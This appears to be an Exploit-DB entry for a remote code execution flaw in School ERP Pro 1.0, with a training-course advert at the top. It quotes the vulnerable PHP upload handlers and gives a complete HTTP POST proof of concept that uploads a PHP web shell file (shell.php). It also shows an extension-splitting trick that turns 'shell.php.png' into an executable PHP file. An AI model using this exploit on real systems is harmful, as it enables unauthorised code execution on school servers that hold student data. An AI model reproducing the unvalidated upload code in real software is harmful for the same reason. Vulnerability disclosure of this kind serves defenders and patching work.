School ERP Pro 1.0 - Remote Code Execution

EDB-ID:

48392

CVE:

N/A


Author:

Besim

Type:

webapps


Platform:

PHP

Date:

2020-04-28


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

# Exploit Title: School ERP Pro 1.0 - Remote Code Execution
# Date: 2020-04-28
# Author: Besim ALTINOK
# Vendor Homepage: http://arox.in
# Software Link: https://sourceforge.net/projects/school-erp-ultimate/
# Version: latest version
# Tested on: Xampp
# Credit: İsmail BOZKURT

Description
-------------------------------------------
A student can send a message to the admin. Additionally, with this method,
the student can upload a PHP file to the system and run code in the system.

------------------------------------
*Vulnerable code - 1: (for student area) - sendmail.inc.php*
- Student user can send message to admin with the attachment
------------------------------------
$image_file = basename($_FILES['newimage']['name'][$i]);
$ext=explode(".",$_FILES['newimage']['name'][$i]);
$str=date("mdY_hms");
//$t=rand(1, 15);
$new_thumbname = "$ext[0]".$str.$t.".".$ext[1];
$updir = "images/messagedoc/";
$dest_path = $updir.$new_thumbname;
$up_images[$i] = $dest_path;
$srcfile = $_FILES['newimage']['tmp_name'][$i];
@move_uploaded_file($srcfile, $dest_path);
$ins_arr_prod_images = array(
'`es_messagesid`'  => $id,
'`message_doc`'     => $new_thumbname
);
$idss=$db->insert("es_message_documents",$ins_arr_prod_images);

---------------------------------------------------
*PoC of the Remote Code Execution*
---------------------------------------------------

POST /erp/student_staff/index.php?pid=27&action=mailtoadmin HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 ***************************
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost/erp/student_staff/index.php?pid=27&action=mailtoadmin
Content-Type: multipart/form-data;
boundary=---------------------------2104557667975595321153031663
Content-Length: 718
DNT: 1
Connection: close
Cookie: PHPSESSID=8a7cca1efcb3ff66502ed010172d497a; expandable=5c
Upgrade-Insecure-Requests: 1

-----------------------------2104557667975595321153031663
Content-Disposition: form-data; name="subject"

DEDED
-----------------------------2104557667975595321153031663
Content-Disposition: form-data; name="message"

<p>DEDED</p>
-----------------------------2104557667975595321153031663
Content-Disposition: form-data; name="newimage[]"; filename="shell.php"
Content-Type: text/php

<?php phpinfo(); ?>

-----------------------------2104557667975595321153031663
Content-Disposition: form-data; name="filecount[]"

1
-----------------------------2104557667975595321153031663
Content-Disposition: form-data; name="submit_staff"

Send
-----------------------------2104557667975595321153031663--


------------------------------------
*Vulnerable code - 2: (for admin area) - pre-editstudent.inc.php*
- Admin user can update user profile photo
------------------------------------
if (is_uploaded_file($_FILES['pre_image']['tmp_name'])) {
$ext = explode(".",$_FILES['pre_image']['name']);
$str = date("mdY_hms");
$new_thumbname = "st_".$str."_".$ext[0].".".$ext[1];
$updir = "images/student_photos/";
$uppath = $updir.$new_thumbname;
move_uploaded_file($_FILES['pre_image']['tmp_name'],$uppath);
$file = $new_thumbname;

------------------------------------
Bypass Technique:
------------------------------------

$_FILES['pre_image']['name']; --- > shell.php.png
$ext = explode(".",$_FILES['pre_image']['name']);
---
$new_thumbname = "st_".$str."_".$ext[0].".".$ext[1];
$ext[0] --> shell
$ext[1] --> php
lastfilename --> st_date_shell.php